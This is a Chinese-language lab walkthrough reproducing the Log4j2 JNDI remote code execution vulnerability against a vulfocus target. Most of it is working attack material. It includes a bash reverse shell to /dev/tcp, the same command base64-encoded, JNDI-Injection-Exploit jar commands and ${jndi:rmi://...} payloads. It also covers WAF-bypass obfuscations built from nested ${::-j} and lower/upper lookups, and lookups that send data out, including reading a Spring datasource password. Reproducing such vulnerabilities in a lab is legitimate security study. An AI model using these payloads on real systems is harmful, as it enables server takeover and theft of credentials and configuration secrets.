漏洞影响:
Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。黑客可以恶意构造特殊数据请求包payload触发漏洞,从而可以在目标服务器上执行任意代码,导致服务器被控制。
受影响版本:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
复现场景:
靶机:192.168.25.132
攻击机(kali):192.168.25.129
使用工具:
Base64在线编码工具
url在线编码工具
burpsuite
JNDI注入利用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证)
GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
复现过程:
1.在靶机安装vulfocus,并下载镜像vulfocus/log4j2-rce-2021-12-09 //安装靶场平台https://github.com/fofapro/vulfocus
2.在首页启动靶场并访问靶场地址
3.点击?????并抓包
vulfocus给我们提供的环境是/hello请求中传递的payload参数,我们只需要尝试在提交的payload参数中添加我们要插入的payload就好了
4.在攻击机开启监听
5.构造执行反弹shell命令的攻击payload
攻击命令:bash -i >& /dev/tcp/192.168.25.129/12345 0>&1 //根据实际情况修改对应的IP、端口
将要执行的命令进行base64编码,可通过Java Runtime 配合 bash 编码实现。反弹shell命令经过base64编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9Qb3J0IDA+JjE=}|{base64,-d}|{bash,-i}
原因:由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
本次复现在攻击机使用JNDI注入利用工具(构建ldap服务)生成payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEyOS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.25.129"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”
生成rmi为:
rmi://192.168.25.129:1099/jnzm2a
6.利用靶机地址去访问攻击机的JNDI服务
命令:payload=${jndi:生成的rmi}
payload=${jndi:rmi://192.168.25.129:1099/jnzm2a}
将payload进行url编码:
发送payload
7.在攻击机查看结果,成功反弹shell
删除靶场镜像操作:
深入分析漏洞原理参考:深入分析Log4j 漏洞_程序员星空的博客-CSDN博客_log4j漏洞
关于Apache Log4j2 RCE漏洞后出现的CVE-2021-4104/CVE-2021-45046漏洞说明参考:关于Apache Log4j2 RCE漏洞后出现的CVE-2021-4104/CVE-2021-45046漏洞说明_知道创宇KCSC的博客-CSDN博客
漏洞处置手册:Apache Log4j多个高危漏洞(CVE-2021-44228/CVE-2021-4104/CVE-2021-45046/CVE-2021-45105)处置手册 – 绿盟科技技术博客
实战中检测漏洞的方法:
1.借助dnslog
平台:
payload格式:
${jndi:ldap://9vb410.dnslog.cn}
进行url编码后进行测试
%24%7Bjndi%3Aldap%3A%2F%2F9vb410.dnslog.cn%7D
替换环境中的参数111
点击发送后返回dnslog平台刷新查看
则证明此处存在rec漏洞。
2.不借助dnslog
平台的Log4j2
检测自查(内网环境下),参考:
项目地址:
https://github.com/EmYiQing/JNDIScan
实战中利用漏洞的方法:
bypass
由于相关函数处理过程是递归进行的,遇到${}就会处理一次,最后会把处理好的内容拼接在一起,传值给相应的方法,然后根据不同的协议进行进入相应的lookup方法,并且还内置一些分隔符的处理逻辑,例如:":-",造成一些绕过。
当匹配到":-"会进行下面的处理,会把匹配${}转化为字符数组,然后对这个数组进行遍历,遇到":-"就会使用相关函数把":-"之前的内容包括":-"给截掉,这里":-"不分先后,例如"-:",因为是作为一个数组匹配的,只要在一起就行。函数会递归处理每一个${},第一轮"::-j"会被换为"j"。可以构造这样的payload:
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://192.168.25.129:1099/jnzm2a}
${${::-j}ndi:rmi://192.168.25.129:1099/jnzm2a}
还可以用lower, upper等支持的协议构造payload进行一些绕过,例如:
${${lower:jndi}:${lower:rmi}://192.168.25.129:1099/jnzm2a}
${${lower:${lower:jndi}}:${lower:rmi}://192.168.25.129:1099/jnzm2a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://192.168.25.129:1099/jnzm2a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://192.168.25.129:1099/jnzm2a}
但是部分版本支持的协议不太一样,这点需要注意一下。部分版本不支持lower, upper等协议,例如:2.9.0
外带敏感信息
在不能RCE的情况下,可以通过dnslog等方式外带一些敏感信息,例如:
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}
还可以利用Bundle协议读取项目配置文件来获取敏感信息,例如读取 springboot 的application.properties 配置文件获取 redis、mysql 的配置项等敏感信息:
${bundle:application:spring.datasource.password}
分析参考:log4j2 JNDI注入分析笔记
如果可以帮助到你,劳烦点点赞哦!
声明: 本文章仅供学习使用,不得用于未授权的渗透测试,禁止用于非法用途。